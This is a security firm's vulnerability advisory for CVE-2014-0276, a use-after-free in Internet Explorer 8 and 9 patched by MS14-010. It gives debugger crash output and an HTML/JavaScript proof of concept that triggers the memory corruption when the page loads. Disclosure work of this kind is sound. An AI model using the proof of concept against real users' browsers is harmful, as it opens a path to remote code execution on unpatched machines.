security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer ‘LayoutBlock’ Use-After-Free Vulnerability (MS14-010)
CVE	CVE-2014-0276
Vendor Website	http://www.microsoft.com/
Date Released	11/02/2014
Affected Software	Microsoft Internet Explorer 8 Microsoft Internet Explorer 9
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer which allows a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(108.524): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=036f06b4 ecx=feeefeee edx=00150608 esi=feeefeee edi=036d8d48
eip=3d05a7a2 esp=0262d050 ebp=0262d078 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CLayoutBlock::DetachIfNotInLayoutTree+0x7:
3d05a7a2 39460c          cmp     dword ptr [esi+0Ch],eax ds:0023:feeefefa=????????
1:020> k
ChildEBP RetAddr
0262d050 3d05a7c0 mshtml!CLayoutBlock::DetachIfNotInLayoutTree+0x7
0262d058 3d05a7c0 mshtml!CLayoutBlock::DetachIfNotInLayoutTree+0x25
0262d060 3d05a7c0 mshtml!CLayoutBlock::DetachIfNotInLayoutTree+0x25
0262d068 3d05a778 mshtml!CLayoutBlock::DetachIfNotInLayoutTree+0x25
0262d078 3d05a3e3 mshtml!CPtsClient::DestroyParaclient+0x39
0262d094 3d05a35f mshtml!Ptls5::FsDestroyParaFormatResult+0x4f
0262d0b4 3d05a904 mshtml!Ptls5::FsDestroyParaNode+0x39
0262d894 3d05aa35 mshtml!Ptls5::FsDestroyPage+0x39
0262d8b4 3d279cf2 mshtml!CCssDocumentLayout::StorePage+0x83
0262d8d8 3d13d5ec mshtml!CCssDocumentLayout::ClearOnError+0x50
0262da3c 3cf5baaf mshtml!CCssPageLayout::CalcSizeVirtual+0x374
0262db74 3cee2d3d mshtml!CLayout::CalcSize+0x2b8
0262dc10 3cf7e396 mshtml!CView::EnsureSize+0xda
0262dc5c 3cf8a3de mshtml!CView::EnsureView+0x343
0262dc84 3cf8a32b mshtml!CView::EnsureViewCallback+0xd2
0262dcc0 3cf74e88 mshtml!GlobalWndOnMethodCall+0x104
0262dce0 7e418734 mshtml!GlobalWndProc+0x183
0262dd0c 7e418816 USER32!InternalCallWinProc+0x28
0262dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
0262ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
0262dde4 3e2ec295 USER32!DispatchMessageW+0xf
0262feec 3e293307 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
0262ffa4 3e138111 IEFRAME!LCIETab_ThreadProc+0x2c1
0262ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
0262ffec 00000000 kernel32!BaseThreadStart+0x37
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<HTML>
<head>
<script>
function boom() {

document.getElementById("a").outerText = " "
document.styleSheets[0].cssText += "div:first-letter{background:#1e4aae}"
document.getElementById("b").outerText = " "

}
</script>
<style>
</style>
</head>
<body onload="setTimeout('boom()', 1000)">
<b id="b"></b>
<table>
<q>
<div dir="rtl">
<p id="a"></p>
</div>
</q>
</table>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS14-010) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com